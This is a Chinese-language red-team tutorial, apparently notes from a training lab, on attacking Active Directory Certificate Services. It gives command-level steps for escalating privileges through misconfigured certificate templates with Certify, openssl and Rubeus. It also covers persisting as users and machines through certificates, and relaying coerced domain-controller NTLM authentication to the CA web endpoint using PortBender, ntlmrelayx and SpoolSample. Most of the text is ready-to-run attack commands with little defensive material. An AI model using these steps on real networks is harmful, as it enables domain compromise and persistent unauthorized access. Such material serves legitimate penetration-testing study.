ADCS
活动目录证书服务(AD CS)是允许我们创建一个PKI的服务器角色,可以提供公钥加密,
数字证书,以及数字签名功能,一些实际应用有S/MIME,安全无无线网络,VPN,IPSEC,
加密文件系统(EFS),智能卡登录,以及SSL/TLS。
应用正确的话,ADCS可以改善一个组织的安全性:
1.通过加密确保机密性
2.通过数字签名确保完整性
3.通过将证书密钥与网络中的计算机,用户,或者设备账号联系以确保认证性。
不正确的ADCS配置可以导致特权提升,普通域管理甚至可以提升到域管理员以及持久化
寻找CA
为了寻找域或者域森林里的ADCS的CA,我们使用Certify工具,以及cas参数:execute-assembly certify.exe cas
https://github.com/GhostPack/Certify
输出包含根CA,注册CA等
其中证书链值得注意。
根CA:Root CAS
注册CA:Enterprise/Enrollment CAs
证书链:NTAuthCertificates
ADCS利用:配置不当的证书模板
微软提供的ADCS证书模板是分发证书的基点,它们为特定需求复制和配置,这些模板中的
错误配置可能会被利用以权限提升。
寻找配置不正确certify.exe find/vulnerable
利用步骤:
1.为域用户nglover申请证书:certify.exe request /ca:dc-1.cyberbotic.io\ca-1/template:VulnerableUserTemplate /altname:nglover
2.将整个证书包含私钥复制下来保存为cert.pem文件,然后使用openssl命令将其转换为pfx格式,我们可以添加一个密码或者留空:
openssl pkcs12-in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
3.将cert.pfx转换成base64编码后的字符串并使用rubeus asktgt使用该证书申请TGT
用户与主机持久化
ADCS不但可以被利用与提升特权,也可以用于维持对主机与用户的访问,如果证书的请求不需要管理批准,这尤其可行。
利用:
certify.exe find /clientauth 查找所有允许用户认证的证书
certify.exe request /ca:dc-2.dev.cyberbotic.io 请求ca证书
用户持久化:execute-assembly(cs内存加载.Net)certify.exe find /clientauth /ca:dc-2.dev.cyberbotic.io\ca-2
使用该模板申请证书:execute-assembly certify.exe request /ca:dc-2.dev.cyberbotics.io\ca-2\template:User
该证书允许我们为当前用户申请TGT,有效期是1年即便用户更改了密码,这是一个很好的实现用户持久化的方法,
因为不需要触碰lass且无需管理员特权。除非CA吊销了该证书。
主机持久化
与用户持久化并非完全不同,因为主机实际上是AD里特殊的用户类型,并且可以给自身申请证书,主机
证书模拟叫Machine,有效期1年不需要授权,每个主机都有注册权。
certify.exe request /ca:dc-2.dev.cyberbotic.io\ca-2/template:Machine/machine
/machine参数告诉certify自动提升至SYSTEM权限,并且身份为主机账号,因此需要管理员特权下运行。
ADCS NTLM 中继
ADCS服务支持HTTP的注册方法,甚至包含GUI,终端通常在http[s]://hostname/certs,并且默认支持HTLM认证方式
在默认配置下,这些终端会遭到NTLM中继攻击,通常的利用方式是强制DC向攻击者控制的地方认证,将请求中继给
CA并且获取DC的证书,然后用证书获取TGT。
工具:SharpSystemTriggers(https://github.com/cube0x0/SharpSystemTriggers)同PrintSpoofer一样,
包含其他远程认证方式。
使用:
需要注意的是,请求不能被中继至自身。这里,CA运行在DC-1,意味着我们不能将请求中继至DC-1然后获取DC-1的证书
1.使用PortBender重定向SMB流量至8445端口
2.使用逆向端口转发将8445端口流量转发到TS的445端口
3.开启SOCKS代理,使用ntlmrelayx将流量返还至网络
PortBender redirect 445 8445
工具下载:https://github.com/praetorian-inc/PortBender
rportfwd 8445 127.0.0.1 445
socks 1080
proxychains ntlmrelayx.py -t http://10.10.15.75/certsrv/certfnsh.asp -smb2support --adcs --no- http-server
spoolsample.exe 10.10.15.254 10.10.17.25 发起强制认证
工具下载:https://github.com/leechristensen/SpoolSample